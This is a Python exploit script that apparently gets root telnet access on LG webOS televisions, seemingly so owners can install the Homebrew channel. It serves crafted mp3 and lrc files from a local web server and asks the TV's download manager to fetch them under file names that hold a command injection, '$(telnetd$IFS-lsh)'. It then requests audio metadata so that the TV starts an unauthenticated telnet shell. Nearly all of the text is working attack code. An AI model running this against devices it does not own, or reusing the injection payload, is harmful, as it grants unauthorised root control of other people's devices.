from bscpylgtv import WebOsClient from aiohttp import web import asyncio import socket import time # Determine LAN IP using the source IP field of an outgoing connection def get_lan_ip(): try: # Create a socket object s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) # Use Google's public DNS server to determine the LAN IP s.connect(("8.8.8.8", 80)) # Get the socket's own address ip = s.getsockname()[0] # Close the socket s.close() print(f"Using {ip} as LAN IP") return ip except Exception as e: print(f"Error: {e}") return None STOP_SERVER = False HOST_IP = input("Enter your LAN IP address, or press ENTER to autodetect: ") or get_lan_ip() TV_IP = input("Enter the TV's IP address: ") def check_telnet(): sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.settimeout(1) # Timeout period in seconds end_time = time.time() + 15 while time.time() < end_time: try: if sock.connect_ex((TV_IP, 23)) == 0: return True except socket.error: pass time.sleep(1) # Wait for 1 second before checking again return False async def handle(request): print("Served 404 response") return web.Response(text="OK") async def audio_mp3_handler(request): # Create an empty bytes object for the mp3 file content print("Served mp3 payload") mp3_content = b"" return web.Response(body=mp3_content, content_type="audio/mpeg") async def audio_lrc_handler(request): # Create a valid UTF1632 LRC file print("Served lrc payload") lrc_content = bytes.fromhex("FFFE0000") return web.Response(body=lrc_content, content_type="application/octet-stream") async def main(): print("Connecting, make sure to allow the connection using the TV remote") client = await WebOsClient.create(TV_IP) try: await client.connect() except TimeoutError: print("Connection timed out, retrying...") await client.connect() finally: print("Connected to the TV, asking it to download our files...") await client.luna_request( "com.webos.service.downloadmanager/download", { "target": f"http://{HOST_IP}:8089/myaud_$(telnetd$IFS-lsh).mp3", "targetDir": "/mnt/lg/appstore/internal/downloads/", "targetFilename": "myaud_$(telnetd$IFS-lsh).mp3", }, ) await client.luna_request( "com.webos.service.downloadmanager/download", { "target": f"http://{HOST_IP}:8089/myaud_$(telnetd$IFS-lsh).lrc", "targetDir": "/mnt/lg/appstore/internal/downloads/", "targetFilename": "myaud_$(telnetd$IFS-lsh).lrc", }, ) print("Attempting to start telnetd...") await client.luna_request( "com.webos.service.attachedstoragemanager/getAudioMetadata", { "deviceId": "0bcef", "fullPath": "/mnt/lg/appstore/internal/downloads/myaud_$(telnetd$IFS-lsh).mp3", }, ) await asyncio.sleep(1) await client.disconnect() global STOP_SERVER STOP_SERVER = True print("Exploit message sent, checking if Telnet is up...") print() if check_telnet(): print(f"Telnet is up! Connect to it using IP {TV_IP} and port 23.") print() print( "To install the Homebrew channel, follow the instructions here: https://github.com/webosbrew/webos-homebrew-channel?tab=readme-ov-file#installation" ) else: print("Error: telnet server timed out after 15s. Your webOS version may be incompatible, your LAN IP may be wrong, or your firewall is blocking the connection.") async def init_app(): app = web.Application() app.router.add_get("/", handle) app.router.add_get("/myaud_$(telnetd$IFS-lsh).mp3", audio_mp3_handler) app.router.add_get("/myaud_$(telnetd$IFS-lsh).lrc", audio_lrc_handler) return app async def start_server(): app = await init_app() runner = web.AppRunner(app) await runner.setup() site = web.TCPSite(runner, "0.0.0.0", 8089) await site.start() print("Server has started.") asyncio.create_task(main()) async def main_wrapper(): await start_server() while not STOP_SERVER: await asyncio.sleep(1) if __name__ == "__main__": asyncio.run(main_wrapper())